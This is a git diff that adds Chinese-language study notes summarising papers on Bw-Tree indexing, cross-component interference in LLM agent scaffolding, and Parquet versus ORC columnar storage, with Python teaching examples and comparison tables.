把链压平成一张快照页。 + +```python +def search_page(state: PageState | None, key: int) -> Any | None: + """从链头向下:delta 覆盖 consolidated base 的语义""" + if state is None: + return None + if isinstance(state, ConsolidatedPage): + return state.records.get(key) + + assert isinstance(state, Delta) + if state.op == "insert": + if key == state.key: + return state.value + elif state.op == "delete": + if key == state.key: + return None # 删除覆盖更老的值 + # 继续向 base 查找 + return search_page(state.next, key) + + +def consolidate(state: PageState | None) -> ConsolidatedPage: + """把 delta 链 apply 到 consolidated 页(论文中的 consolidate 操作)""" + base = ConsolidatedPage(records={}) + chain: list[Delta] = [] + cur = state + while isinstance(cur, Delta): + chain.append(cur) + cur = cur.next + if isinstance(cur, ConsolidatedPage): + base.records = dict(cur.records) + + for d in reversed(chain): # 从 oldest delta 到 newest + if d.op == "insert": + base.records[d.key] = d.value + elif d.op == "delete": + base.records.pop(d.key, None) + return base + + +# 接上例 mt.slots[0] +head = mt.slots[0] +assert search_page(head, 15) == "fifteen" +assert search_page(head, 10) is None +assert search_page(head, 20) == "twenty" + +flat = consolidate(head) +assert flat.records == {15: "fifteen", 20: "twenty"} +# 生产环境会用 CAS 把 mapping_table[0] 从 head 换成 flat,旧链 epoch GC +``` + +Consolidation 触发条件通常是:**delta 链长度 / 页内搜索成本** 超过阈值,或后台 maintenance 线程空闲时批量处理。 + +--- + +## 代码示例 3:B-tree 导航伪代码(逻辑层) + +Delta 与 mapping table 解决「页内并发」;B-tree 层仍负责**键序与 split**。简化导航: + +```python +def bwtree_lookup(root_id: int, key: int, table: MappingTable, inner: dict) -> Any | None: + """ + inner[(page_id, key)] -> child_page_id # 内节点路由;值节点在 consolidated/delta 里 + """ + page_id = root_id + while True: + state = table.slots[page_id] + # 在内节点 consolidated 页上找 child(真实实现还有 delta 上的 split delta) + child = route_inner(consolidate(state) if needs_flat(state) else state, key, inner) + if child is None: + return search_page(state, key) # 叶页 + page_id = child +``` + +Split 在 Bw-Tree 里同样产生 **management delta**(或新页 + 父节点 delta),通过 CAS 分批安装,避免「整棵树 latch 化」。 + +--- + +## 与传统 B-tree / LSM 的对比 + +| 维度 | B-tree (InnoDB) | LSM (RocksDB) | Bw-Tree | +|------|-----------------|---------------|---------| +| 读放大 | 低(树高 + 缓存) | 高(多层 SST) | 低–中(树 + delta 链) | +| 写放大 | 中(随机页写) | 高(compaction) | 中(delta + LSS 顺序写) | +| 并发 | 页 latch | 通常较友好 | **无 latch** | +| 范围扫描 | 天然支持 | 需 merge iterator | 天然支持 | +| 实现复杂度 | 中 | 高 | **很高**(CAS/GC/split) | + +Bw-Tree **不是** LSM 的简单混合:它保持 B-tree 的**有序索引语义**,只在**页存储与并发**上借 log-structured 思想(delta 链 + append-only LSS)。 + +--- + +## 实验结论(论文摘要级) + +ICDE 2013 实验聚焦内存 Bw-Tree 层,显示 latch-free + delta 在多核上显著优于 latch-based B-tree。后续工作(SIGMOD 2014 «Indexing on Modern Hardware: Hekaton and Beyond»)补充: + +- 嵌入 Hekaton 的端到端 OLTP 路径; +- 独立 KV 存储 vs BerkeleyDB、latch-free skiplist 的对比。 + +阅读这些数字时应注意:**workload、硬件代际、实现完整度**(OpenBw-Tree 指出原版缺少细节)都会大幅影响结论。Bw-Tree 的教学价值在于**设计权衡**,而非「在所有场景碾压 skiplist」。 + +--- + +## 实现难点(读论文时该盯什么) + +1. **Split / merge 的无锁协议**:结构变更比单条 insert 复杂,需保证没有线程看到「半分裂」的不一致树。 +2. **Safe memory reclamation**:CAS 换指针后,旧 delta 链仍可能被慢读者持有 → **epoch / hazard pointer**。 +3. **Consolidation 与更新的竞态**:consolidate 期间新 delta 仍可能 prepend,需二次检查或 version 机制。 +4. **LSS GC 与 checkpoint**:mapping table checkpoint + log tail replay 决定恢复时间。 +5. **OpenBw-Tree 的教训**:即使按论文实现,调优后仍可能不如**精心实现的 latch-based B-tree**——无锁不是免费午餐。 + +--- + +## 零基础自检清单 + +读完后,你应该能口头回答: + +- [ ] 为什么 mapping table 是 latch-free 的关键? +- [ ] Delta 与「copy-on-write 页」有什么相似和不同? +- [ ] Consolidation 解决什么问题?不 consolidate 会怎样? +- [ ] 为什么 Flash 场景要用 LSS 而不是原地更新页? +- [ ] Bw-Tree 与 Hekaton hash 索引的分工是什么? + +--- + +## 延伸阅读 + +| 资料 | 说明 | +|------|------| +| Levandoski et al., ICDE 2013 | 本文主论文,内存 Bw-Tree 架构与算法 | +| Lomet et al., SIGMOD 2014 | Hekaton 中的 Bw-Tree 与性能对比 | +| Wang et al., «Building a Bw-Tree Takes More Than Just Buzz Words», SIGMOD 2018 | OpenBw-Tree,实现细节与 benchmark | +| 本库 [Hekaton 笔记](./hekaton.md) | OLTP 引擎如何把 Bw-Tree 放进事务系统 | +| 本库 [LSM-tree / RocksDB 笔记](./rocksdb-lsm.md) | 对比 log-structured 在 KV 引擎里的另一种形态 | + +--- + +## 小结 + +Bw-Tree 回答的问题是:**当 CPU 核数和大内存容量上去、存储介质变成 Flash 之后,B-tree 这一「老结构」还有没有好实现?** + +它的答案是:**逻辑上还是 B-tree,物理上改成「mapping table + delta 链 + occasional consolidate + log-structured 持久化」**,用 CAS 换掉 latch,用 append 换掉随机写。理解 Bw-Tree,等于理解 2010 年代 Microsoft 如何把索引层改写成「多核与 SSD 原生」——这也是后来诸多内存数据库与 research prototype 的参考模板。 diff --git a/src/content/docs/papers/cci-agent-scaffolding.md b/src/content/docs/papers/cci-agent-scaffolding.md new file mode 100644 index 000000000..bfd14a471 --- /dev/null +++ b/src/content/docs/papers/cci-agent-scaffolding.md @@ -0,0 +1,455 @@ +--- +title: Cross-Component Interference in LLM Agent Scaffolding(LLM Agent 脚手架的跨组件干扰) +来源: 'Ming Liu, "More Is Not Always Better: Cross-Component Interference in LLM Agent Scaffolding", arXiv:2605.05716, Amazon, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:给新手厨师加太多「辅助装备」 + +想象你教一位新手做一道菜。你可以给他: + +- **菜谱分解卡(Planning)**:先把任务拆成「备料 → 下锅 → 调味」 +- **专用工具(Tool Use)**:温度计、计时器、搜索引擎查「这步该几度」 +- **便签本(Memory)**:记录刚才试过的温度和结果 +- **步骤模板(Structured Reasoning)**:强制写「观察 → 推理 → 行动」 +- **复盘环节(Reflection)**:每做完一步就自问「刚才对不对?要不要改?」 + +直觉上,**装备越全越好**。但厨房台面就那么大,新手注意力也有限——五样东西同时占着台面,他反而可能: + +- 一边读分解卡,一边翻便签,**忘了看锅** +- 复盘写太长,**挤掉真正该执行的步骤** +- 工具说明书和模板格式占满视野,**搜索到的关键信息被淹没** + +论文 *More Is Not Always Better*(Liu, arXiv:2605.05716)把 LLM Agent 领域长期默认的「脚手架堆叠 = 更强 Agent」推上实验台,发现类似现象:**Cross-Component Interference(CCI,跨组件干扰)**——单独看每个组件都「合理」,组合在一起却可能**负边际收益**,全配齐的 All-In Agent 反而输给更小的子集。 + +--- + +## 是什么 + +**LLM Agent 脚手架(scaffolding)** 指围绕基础大模型加的一层「能力包装」:规划、工具调用、记忆、结构化推理、自我反思等。LangChain 一类框架鼓励自由组合,但很少系统回答:**该开哪几个开关?** + +**Cross-Component Interference(CCI)** 是论文的操作性定义:对配置 \(C\) 和不在其中的组件 \(s\),若 + +\[ +\phi(C \cup \{s\}) < \phi(C) +\] + +即「加上 \(s\) 后任务指标 \(\phi\) 下降」,则称发生 CCI。这里 \(\phi\) 可以是 HotpotQA 的 token-level \(F_1\),或 GSM8K 的 exact-match 准确率。 + +论文在五类标准组件上做 **全因子实验(full factorial design)**: + +| 符号 | 组件 | 作用(简化) | +|------|------|----------------| +| **P** | Planning | 系统级指令:把任务分解为子目标 | +| **T** | Tool Use | 函数调用接口 + 工具描述 | +| **M** | Memory | 跨步持久化的工作记忆 | +| **SR** | Structured Reasoning | Chain-of-Thought 式格式约束 | +| **R** | Reflection | 每步后的自我评估提示 | + +共 \(2^5 = 32\) 种配置;在 HotpotQA(多跳检索 QA)与 GSM8K(数学推理)上,对 Llama-3.1-8B/70B、Qwen2.5-3B/7B、Claude Haiku 4.5 等模型做了 **118 个受控配置、32,000+ 次评测**。 + +--- + +## 为什么重要 + +### 1. 行业默认可能是错的 + +很多 Agent 模板默认「Planning + Tools + Memory + CoT + Reflection 全开」。论文在**每一个测试设定**里发现:**最优配置都是 All-In 的真子集**,五件套从未夺冠。 + +### 2. 「少即是多」不是 universal law + +CCI 不是简单的「组件越少越好」: + +- HotpotQA @ 8B:最优 \(k^* = 1\),**只用 Tool Use** 最好 +- GSM8K @ 8B:最优 \(k^* = 3\),**T + SR + R** 组合最好 +- 70B @ HotpotQA:在 8B 上「加组件就亏」的方向**部分反转**,但 All-In 仍输给最佳子集约 19% + +### 3. 与模型能力耦合(capability gradient) + +| 规模 | HotpotQA 上「最佳子集 vs All-In」差距(量级) | +|------|-----------------------------------------------| +| 8B | ~32%(T alone \(F_1=0.233\) vs All-In \(0.177\),\(p=0.023\)) | +| 70B | ~19%(最佳子集 \(F_1=0.441\) vs All-In \(0.372\)) | +| Claude Haiku 4.5 | ~0%(32 种配置挤在窄区间内,但 All-In 仍非最优) | + +**在 frontier 模型 demo 里「全开也没事」的结论,不能直接下放到 8B–14B 部署模型**——小模型协调容量更紧,CCI 更狠。 + +### 4. 贪心选组件会翻车 + +183/325 个可测三元组违反**次模性(submodularity)**(56.3%),中位次模比 \(\gamma_{med}=0.52\)。意味着:**单独有害的分量,放进特定组合里可能变有益**——「一个一个加直到不涨」的贪心策略不可靠。 + +--- + +## 核心概念 + +### 1. 配置与性能函数 + +- 配置 \(C \subseteq \{P, T, M, SR, R\}\),\(K = |C|\) +- 性能 \(\phi(C)\):同一 benchmark、同一模型、同一 prompt 模板下的指标 +- **All-In**:\(C = \{P, T, M, SR, R\}\),\(K=5\) + +### 2. 最优组件数 \(k^*\) + +\[ +k^* = \arg\max_{K} \max_{|C|=K} \phi(C) +\] + +任务决定 \(k^*\) 落在 1–4 之间,没有 universal 常数。 + +### 3. 机制直觉:共享单一「工作台」——上下文窗口 + +五个组件并不运行在五个独立进程里;它们都往**同一段 context** 里塞 token: + +- Planning 轨迹 +- 工具 schema 与返回 +- Memory 条目 +- CoT 格式要求 +- Reflection 笔记 + +这与 **attention dilution(注意力稀释)**、**instruction interference(指令干扰)** 文献一致:约束越多,模型越难把容量留给「真正解题」的 token。论文的主效应回归 \(R^2=0.916\),**优于** 16 参数 pairwise 交互模型(\(\Delta\text{BIC}=25.3\)),说明多数伤害来自**各组件独立的上下文成本**,而非某一对「天生相克」——尽管高阶三体协同(T+SR+R 在检索任务上)确实存在。 + +### 4. Shapley 分解:谁贡献、谁拖后腿 + +在 HotpotQA @ 8B 上精确计算 Shapley 值(32 个联盟全覆盖): + +| 组件 | Shapley 直觉 | 论文结论(量级) | +|------|--------------|------------------| +| **Tool Use (T)** | 脚手架价值的绝对主力 | 约占 scaffold 总价值的 **70%**(\(\phi \approx +0.177\)) | +| **Planning (P)** | 常帮倒忙 | **显著为负**;在 84% CCI 任务上添加 P 降分 | +| **Memory (M)** | 检索 QA 上偏负 | 约 68% 任务上添加 M 降分 | +| **SR / R** | 任务依赖 | 数学(GSM8K)上 SR+R 与 T 协同;纯检索上可能增噪 | + +**没有 T 的配置**:HotpotQA @ 8B 上 \(F_1\) 均值约 **0.043**;有 T 的配置均值约 **0.204**——工具接口是「能不能做题」的分水岭,其余组件是在「会不会被互相拖累」。 + +### 5. 三体协同( exploratory ) + +Harsanyi 三阶交互 **T + SR + R** 在检索任务上有正残差(\(\text{INT}_3 \approx +0.175\),BCa 95% CI 下界略大于 0),说明**高阶组合效应真实存在**,不能从 pairwise 完全还原——但论文也强调该发现待更多 seed 确认。 + +--- + +## 关键实验数字(零基础版速查) + +### HotpotQA,Llama-3.1-8B,10 seeds + +| 配置 | 组件数 \(K\) | Mean \(F_1\) | 相对 T alone | +|------|-------------|--------------|--------------| +| **T** | 1 | **0.233 ± 0.039** | 基线 | +| T+SR+R | 3 | 0.220 ± 0.027 | 略低 | +| All-In | 5 | **0.177 ± 0.049** | **低 32%**(\(p=0.023\),\(d_z=0.87\)) | + +从 T 出发的 6 种扩展里,**5/6 在 \(p<0.05\) 显著变差**(4/6 经 Holm–Bonferroni 校正仍显著)。 + +### GSM8K,Llama-3.1-8B + +| 配置 | 准确率 | 备注 | +|------|--------|------| +| **T + SR + R**(\(k^*=3\)) | **~0.43** | 最优子集 | +| All-In | ~0.24 | 比最优低 **~79%**(\(p=0.010\)) | + +数学推理需要格式(SR)与纠错(R),但 **Planning + Memory 全开仍可能过噪**。 + +--- + +## 代码示例 1:用位掩码枚举 32 种脚手架配置 + +论文的核心实验设计是 **全因子 sweep**。下面用 Python 教学骨架展示:如何用 bitmask 生成配置、跑 benchmark、检测 CCI。 + +```python +from dataclasses import dataclass +from itertools import combinations +from typing import Callable + +# 五类组件与 LangChain / 自研 Agent 里的 prompt 块一一对应 +COMPONENTS = { + "P": "planning", # 子目标分解指令 + "T": "tool_use", # 工具 schema + 调用循环 + "M": "memory", # 跨步 observation 缓存 + "SR": "structured_reasoning", # CoT 格式 + "R": "reflection", # 每步 self-critique +} +MASK = {name: 1 << i for i, name in enumerate(COMPONENTS)} + + +@dataclass(frozen=True) +class ScaffoldConfig: + mask: int + + def has(self, key: str) -> bool: + return bool(self.mask & MASK[key]) + + def with_component(self, key: str) -> "ScaffoldConfig": + return ScaffoldConfig(self.mask | MASK[key]) + + def active(self) -> frozenset[str]: + return frozenset(k for k in COMPONENTS if self.has(k)) + + def __repr__(self) -> str: + parts = [k for k in COMPONENTS if self.has(k)] + return "+".join(parts) if parts else "Baseline" + + +def all_configs() -> list[ScaffoldConfig]: + """论文中的 2^5 = 32 种配置。""" + return [ScaffoldConfig(m) for m in range(32)] + + +def build_prompt_blocks(cfg: ScaffoldConfig) -> dict[str, str]: + """每个组件映射到一段 system / tool / post-step 文本。""" + blocks: dict[str, str] = {} + if cfg.has("P"): + blocks["planning"] = "先把问题分解为 2-4 个子目标,再逐步解决。" + if cfg.has("T"): + blocks["tools"] = "你可以调用 search(query) 检索 Wikipedia。" + if cfg.has("M"): + blocks["memory"] = "把每步 observation 写入 WORKING_MEMORY。" + if cfg.has("SR"): + blocks["cot"] = "每步按 Observation / Thought / Action 格式输出。" + if cfg.has("R"): + blocks["reflect"] = "每步结束后评估上一步是否正确。" + return blocks + + +def detect_cci( + scores: dict[ScaffoldConfig, float], +) -> list[tuple[ScaffoldConfig, str, float]]: + """ + 返回所有 (C, s) 满足 phi(C∪{s}) < phi(C) 的 CCI 实例。 + scores: 配置 -> HotpotQA F1 或 GSM8K accuracy + """ + violations = [] + for cfg in all_configs(): + base = scores.get(cfg) + if base is None: + continue + for key in COMPONENTS: + if cfg.has(key): + continue + expanded = cfg.with_component(key) + new = scores.get(expanded) + if new is not None and new < base: + delta = new - base + violations.append((cfg, key, delta)) + return violations + + +def run_factorial_experiment( + evaluate: Callable[[ScaffoldConfig], float], +) -> dict[ScaffoldConfig, float]: + """对 32 种配置各跑 evaluate,复现论文 sweep 结构。""" + return {cfg: evaluate(cfg) for cfg in all_configs()} + + +# --- 用法示意 --- +# scores = run_factorial_experiment(lambda c: hotpotqa_f1(build_agent(c), n=100)) +# for cfg, comp, delta in sorted(detect_cci(scores), key=lambda x: x[2]): +# print(f"CCI: {cfg} + {comp} -> {delta:+.3f}") +``` + +**读代码时注意**: + +- `ScaffoldConfig` 与论文 coalition \(C\) 同构;`detect_cci` 直接实现 Definition 1。 +- 真实实验还要固定 **model、temperature、max steps、benchmark split**;论文用 temperature=0.1,每题最多 4 步,每步最多 256 new tokens。 +- 若只测 All-In vs T,会**漏掉** \(k^*=3\) 这类中间最优——全因子设计的价值正在于不遗漏交互结构。 + +--- + +## 代码示例 2:按任务选择脚手架子集(替代 All-In 默认) + +下面展示一个**任务感知**的 scaffold 选择器:先根据任务类型给出 prior,再用验证集上的少量样本做 subset search——对应论文建议的 *interaction-aware subset selection*。 + +```python +from dataclasses import dataclass + + +@dataclass +class TaskProfile: + name: str + needs_tools: bool + needs_math_format: bool + needs_multi_hop: bool + + +# 论文经验先验:HotpotQA 偏检索,GSM8K 偏推理+反思 +TASK_PRIORS: dict[str, set[str]] = { + "hotpotqa": {"T"}, # k*=1 @ 8B + "gsm8k": {"T", "SR", "R"}, # k*=3 @ 8B +} + + +def scaffold_score( + active: set[str], + profile: TaskProfile, + val_metric: float, +) -> float: + """ + 综合验证集指标与复杂度惩罚。 + val_metric: 在 held-out 100 题上的 F1 或 accuracy + """ + complexity_penalty = 0.02 * len(active) # 每多一个组件,略罚过拟合/上下文成本 + missing_tool = profile.needs_tools and "T" not in active + if missing_tool: + return -1.0 + return val_metric - complexity_penalty + + +def best_subset_search( + profile: TaskProfile, + evaluate_subset: callable, + candidates: list[set[str]] | None = None, +) -> set[str]: + """ + evaluate_subset(active_components) -> float + candidates 默认从 TASK_PRIORS 出发,再尝试增删分量。 + """ + if candidates is None: + base = set(TASK_PRIORS.get(profile.name, {"T"})) + keys = ["P", "T", "M", "SR", "R"] + candidates = [base] + # 尝试 base 的单点增删(教学版;论文用完整 32 格 + Shapley) + for k in keys: + candidates.append(base | {k}) + candidates.append(base - {k}) + candidates.append(set(keys)) # All-In,用于对照而非默认 + + best_active: set[str] = {"T"} + best_score = -1.0 + for active in candidates: + if profile.needs_tools and "T" not in active: + continue + metric = evaluate_subset(frozenset(active)) + score = scaffold_score(active, profile, metric) + if score > best_score: + best_score = score + best_active = set(active) + return best_active + + +class AgentRunner: + """把选中的组件真正拼进 prompt / loop。""" + + def __init__(self, active: set[str], llm, tools): + self.active = active + self.llm = llm + self.tools = tools + + def run_episode(self, question: str, max_steps: int = 4) -> str: + memory: list[str] = [] + state = question + + for step in range(max_steps): + messages = [state] + + if "P" in self.active and step == 0: + messages.insert(0, "Planning: 列出子目标。") + if "M" in self.active and memory: + messages.append("Memory:\n" + "\n".join(memory[-5:])) + if "SR" in self.active: + messages.append("按 Observation/Thought/Action 输出。") + + if "T" in self.active: + action = self.llm.act_with_tools(messages, self.tools) + else: + action = self.llm.complete(messages) + + obs = self.tools.execute(action) if "T" in self.active else "" + if "M" in self.active: + memory.append(f"step={step} obs={obs[:200]}") + + if "R" in self.active: + critique = self.llm.complete(f"评估上一步: {action}\n{obs}") + messages.append(f"Reflection: {critique}") + + state = f"{state}\n{action}\n{obs}" + if self._is_final(action): + break + return self._extract_answer(state) + + def _is_final(self, action: str) -> bool: + return "FINAL_ANSWER" in action + + def _extract_answer(self, state: str) -> str: + return state.split("FINAL_ANSWER:")[-1].strip() + + +# --- 部署伪代码 --- +# profile = TaskProfile("hotpotqa", needs_tools=True, needs_math_format=False, needs_multi_hop=True) +# best = best_subset_search(profile, lambda s: dev_f1(AgentRunner(s, llm, tools))) +# assert best != {"P","T","M","SR","R"}, "论文:All-In 几乎从不最优" +``` + +**工程启示**: + +1. **不要把 LangChain 默认模板当最优解**——先用小验证集 sweep 或至少对照 `T` vs All-In。 +2. **HotpotQA 类检索任务 @ 小模型**:优先试 **仅 Tool Use**;Planning/Memory 可能是负贡献。 +3. **GSM8K 类数学 @ 小模型**:试 **T+SR+R**,而非五件套。 +4. 模型变大后 CCI **减弱但不消失**——仍应选 best subset,只是差距缩小。 +5. 与 Microsoft Research 提出的 **tool-space interference**(工具名冲突、工具过多)是相邻问题:CCI 管「prompt 组件」,tool-space 管「MCP 工具生态」——两者都会让小模型「装太多」。 + +--- + +## 实验协议细节(复现时必读) + +| 维度 | 论文设定 | +|------|----------| +| 模型 | Llama-3.1-8B/70B-Instruct(70B 用 4-bit NF4)、Qwen2.5-3B/7B、Claude Haiku 4.5 | +| Benchmark | HotpotQA(\(F_1\))、GSM8K(exact match) | +| 每配置题量 | 100 题;关键配置 10 seeds × 100 题 | +| 推理步数 | 最多 4 steps | +| 采样 | temperature=0.1, top-p=0.9, max 256 new tokens/step | +| 统计 | paired t-test + Wilcoxon;报告 Cohen's \(d_z\);Bayesian BF\(_{10}\) | + +**稳健性**:换 prompt paraphrase 三种变体,All-In 仍非最优;换 Qwen 家族,CCI 方向复现;长度匹配对照表明差距不是简单「context 变长」 artifact(差距仍达 6–9×)。 + +--- + +## 与相关工作的关系 + +| 方向 | 代表工作 | 与 CCI 论文的差异 | +|------|----------|-------------------| +| 单组件展示 | ReAct, Reflexion, Voyager | 证明「某组件有用」,未系统测 **组合** | +| 消融 | 常见 one-at-a-time ablation | 看不到 **高阶交互** 与次模违反 | +| Prompt 干扰 | instruction interference, paradoxical interference | 多为 **成对** 目标冲突;CCI 给出 **32 格全景观** | +| 组件回归 | Lauziere et al. 2026 pairwise 模型 | 同模型类;本文主效应更 parsimonious,并算 Shapley / Harsanyi | +| 工具生态 | Microsoft tool-space interference | MCP 工具过多、重名;CCI 管 **脚手架 prompt 块** | + +同一时期还有 *When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?*(Li & Tao, arXiv:2605.28224)从 **记忆 × 搜索策略** 二维分解记忆收益——与 CCI **正交**:CCI 问「开哪些组件」,记忆论文问「在已开组件下,记忆怎么传、传什么抽象」。 + +--- + +## 实践 checklist(给 Agent 开发者) + +1. **建立 baseline 网格**:至少跑 `{T}`, `{T,SR,R}`, All-In 三种,而不是只跑 demo 最炫的全套。 +2. **按任务选 \(k^*\)**:检索 QA 倾向少组件;符号推理倾向 T+SR(+R)。 +3. **按模型规模调整预期**:8B 上 CCI 大,70B 上可适度加组件,但 **All-In 仍 rarely optimal**。 +4. **慎用 Planning + Memory 叠在小模型检索 Agent 上**:Shapley 与 disrupt 比例都指向负贡献。 +5. **别贪心堆组件**:56% 次模违反 → 用验证集 **subset search** 或 Shapley 指导,而非「有用就加」。 +6. **监控 context 构成**:每组件增加了多少 token?主效应模型暗示这是主要伤害机制。 +7. **记录配置向量**:生产日志里保存 `{P,T,M,SR,R}` bitmask,方便 offline 复现 factorial 分析。 + +--- + +## 局限与开放问题 + +- **五个组件** 覆盖主流 taxonomy,但不含 multi-agent、code interpreter、RAG 管线粒度等。 +- **两个 benchmark、有限步数**——SWE-bench 等更长程任务上 \(k^*\) 可能上移。 +- **三体协同 INT₃** 标记为 exploratory,需更多 seed 与任务外推。 +- 论文聚焦 **prompt-based scaffolding**,不包含 fine-tune 或 RL 训出的策略——CCI 是否存在于训后 Agent 仍待研究。 +- Claude Haiku 上差距接近噪声,**不等于**「 frontier 上 All-In 最优」——只是「差距小」,All-In 仍未夺冠。 + +--- + +## 一句话总结 + +**LLM Agent 脚手架不是「功能越多越好」的自助餐,而是一道有交互副作用的配方题。** Cross-Component Interference 说的是:Planning、Memory 等模块会争抢同一 context 里的模型注意力;在 Llama-3.1-8B 上,HotpotQA 只要 Tool Use 就能比五件套高 32% \(F_1\),GSM8K 则是精简的三组件组合比 All-In 高 79%。**默认全开 All-In,在论文测试的每一个设定里都是 suboptimal 的选择**——应用侧应改为任务感知、模型感知、交互感知的 **subset selection**。 + +--- + +## 延伸阅读 + +- 原文:[arXiv:2605.05716](https://arxiv.org/abs/2605.05716) +- 反模式梳理:[AgentPatterns — Cross-Component Interference](https://agentpatterns.ai/anti-patterns/cross-component-interference/) +- 相邻问题:[Microsoft Research — Tool-space Interference](https://www.microsoft.com/en-us/research/video/tool-space-interference-an-emerging-problem-for-llm-agents/) +- 记忆维度补充:本库笔记 [When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?](/docs/papers/memory-tool-use-agents) diff --git a/src/content/docs/papers/columnar-storage-formats-2023.md b/src/content/docs/papers/columnar-storage-formats-2023.md new file mode 100644 index 000000000..a48efac44 --- /dev/null +++ b/src/content/docs/papers/columnar-storage-formats-2023.md @@ -0,0 +1,334 @@ +--- +title: 列式存储格式实证评估 — Parquet 与 ORC 谁更适合 2020 年代? +来源: https://www.vldb.org/pvldb/vol17/p148-zeng.pdf +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:超市货架 vs 仓库打包方式 + +想象你在经营一家**大型连锁超市**,每天要处理海量商品销售记录。 + +**行式存储**像把「一整笔购物小票」卷起来塞进抽屉:小票上每一行是 `(顾客, 商品, 数量, 价格, 日期)` 全部绑在一起。你要统计「本月所有 `价格` 的总和」时,必须把每张完整小票都展开,把无关字段(顾客名、商品名)也一起读出来——浪费带宽。 + +**列式存储**像把同一种信息单独装箱:所有 `价格` 放一箱、所有 `日期` 放一箱。做聚合分析时只搬需要的箱子,还能对整箱数据做**字典编码**(把「苹果/香蕉」映射成 0/1)、**游程编码**(连续 100 个相同值只存一次)——省空间、CPU 向量化友好。 + +Parquet(Twitter/Cloudera,2013)和 ORC(Meta,2013)就是数据湖/数仓里两种最流行的「打包规范」。它们诞生于 Hadoop 时代,默认开着 Snappy 块压缩,为 MapReduce 生态设计。十年过去,NVMe 带宽从 MB/s 涨到 GB/s,工作负载从 BI 报表扩展到 ML 特征表、向量检索、GPU 解码——**当年的默认选项还合理吗?** + +这篇 **VLDB 2023** 论文(Tsinghua + CMU + Voltron Data 的 Wes McKinney 等)不比较 Spark vs Presto 谁更快,而是**把格式本身拆开**,用真实数据分布驱动的 benchmark 逐项压测 Parquet 与 ORC,给出面向下一代格式的设计清单。开源代码:https://github.com/XinyuZeng/EvaluationOfColumnarFormats + +--- + +## 是什么 + +**目标**:在隔离格式内部设计的前提下,系统评估 Parquet 与 ORC 在**空间效率**、**解码速度**、**谓词下推**、**宽表投影**、**ML 工作负载**、**GPU 解码**上的表现,并提炼可复用的设计原则。 + +**不评估什么**:Apache Arrow(内存列式交换格式,非长期磁盘存储);Delta Lake / Iceberg / Hudi(表格式元数据层,不改底层 Parquet/ORC 文件布局)。 + +**核心贡献**: + +1. 建立 Parquet/ORC **特性分类法**(布局、编码、压缩、类型系统、索引、嵌套模型)。 +2. 从 Tableau BI、ClickHouse 样例、UCI-ML、Yelp、SEC 日志、Geonames、IMDb 等真实数据集提取列属性,构建可配置 benchmark。 +3. 在 AWS i3(NVMe)、S3、GPU(cuDF)上跑对照实验,总结 8 条面向未来的 Lesson。 + +--- + +## 为什么重要 + +如果你已经在用 Spark、DuckDB、Snowflake 外部表或 Hugging Face Parquet 数据集,底层几乎一定是 Parquet 或 ORC。格式层面的一个默认(比如「所有列开 Snappy」「RLE 阈值硬编码为 8」)会在**每一张表、每一次扫描**上被放大。 + +论文的关键语境变化: + +| 2013 年假设 | 2023 年现实 | +|-------------|-------------| +| 磁盘 I/O 是瓶颈 | NVMe / 云存储带宽极高,**CPU 解码**常成瓶颈 | +| BI 宽表扫描为主 | ML 需要**数千列特征**的子集投影 | +| 结构化 OLAP | 向量 embedding、图片二进制、top-k 相似度检索 | +| CPU 单线程解码 | GPU(RAPIDS cuDF)需要**可并行**的编码块 | + +论文结论之一:**Parquet 与 ORC 没有绝对赢家**——Parquet 文件略小、解码更快;ORC 在细粒度 zone map 下选择性查询更强。选格式不如理解 trade-off,并在写入时调参。 + +--- + +## 核心概念 + +### 1. PAX 混合列存布局 + +两种格式都采用 **PAX(Partition Attributes Across)**: + +``` +表 + └── Row Group / Stripe(水平切分) + ├── Column Chunk 1(整列的一段) + ├── Column Chunk 2 + └── ... + └── Page(Parquet 最小压缩/zone map 单元) +``` + +- **Parquet**:Row Group 按**行数**切(实验默认 100 万行)→ 宽表时单个 Row Group 内存 footprint 大。 +- **ORC**:Stripe 按**物理大小**切(默认 64 MB)→ 宽表时每个 Stripe 行数变少,向量化 batch 可能不够大。 + +文件末尾有 **Footer**(schema、Row Group 偏移、zone map 统计),读文件往往要先读 footer——在 S3 上意味着多次 round-trip。 + +### 2. 轻量编码 vs 块压缩(两层压缩) + +**第一层 — 轻量编码**(按列、感知类型): + +| 技术 | 直觉 | +|------|------| +| Dictionary | 低基数列:存「值→整数 ID」字典 + ID 序列 | +| RLE | 连续重复值:存 `(值, 重复次数)` | +| Bit-packing | 小整数 ID 按 bit 宽度打包 | +| Delta / FOR | 有序或近似有序整数:存差分或帧参考 | + +**第二层 — 块压缩**(Snappy/zstd 等,把已编码列块当字节流再压): + +论文 **5.4 节**核心发现:在现代 NVMe 上,列已被轻量编码后,Snappy/zstd **空间收益有限**,解码开销可达 **4.2×**;只有慢速 EBS(st1)或带宽极贵的场景才划算。**默认开 Snappy 可能是 2013 年的最优,不是 2023 年的最优。** + +### 3. Parquet vs ORC 编码策略差异 + +| 维度 | Parquet | ORC | +|------|---------|-----| +| 字典编码 | **默认对所有列**(含整数、浮点),字典满 1MB 回退 plain | 主要对字符串;整数列看 **NDV 比例**(默认 >0.8 不用字典) | +| 整数二次编码 | Dictionary → **RLE(重复≥8)+ Bitpack** | **四种算法贪心切换**:RLE(≥3)、Delta、Bitpack、PFOR | +| 解码复杂度 | 低,分支预测友好 | 高,论文测得分支误判约为 Parquet 的 **3×** | +| 浮点 | 字典编码(NDV 低时极有效) | 通常 **plain 存原始 float** → 文件大但解码快 | + +**真实数据关键事实**(论文 Figure 5):超过 **80% 整数列**、**60% 字符串列** 的 NDV 比例 < 0.01——字典编码对绝大多数列都值回票价。 + +### 4. Zone Map 与 Bloom Filter + +**Zone map**:每个 zone 存 `(min, max, null_count)`。查询 `WHERE price < 100` 时,若 zone 的 min > 100,整段跳过。 + +| | Parquet | ORC | +|---|---------|-----| +| 最细 zone | Page(~1MB,可选 PageIndex) | Row Index(默认 **每 1 万行**) | +| Bloom Filter 粒度 | 列块级(PageIndex 可选时更细) | 与最小 zone 对齐 | + +**geo 工作负载**(高 NDV、低选择性):ORC 选择性查询优于 Parquet,正因 zone 更细。但 ORC 的 zone map 分散在各 Stripe footer,在 **S3 上 top-k 检索**会发约 **4× GET** 于 Parquet(元数据集中 vs 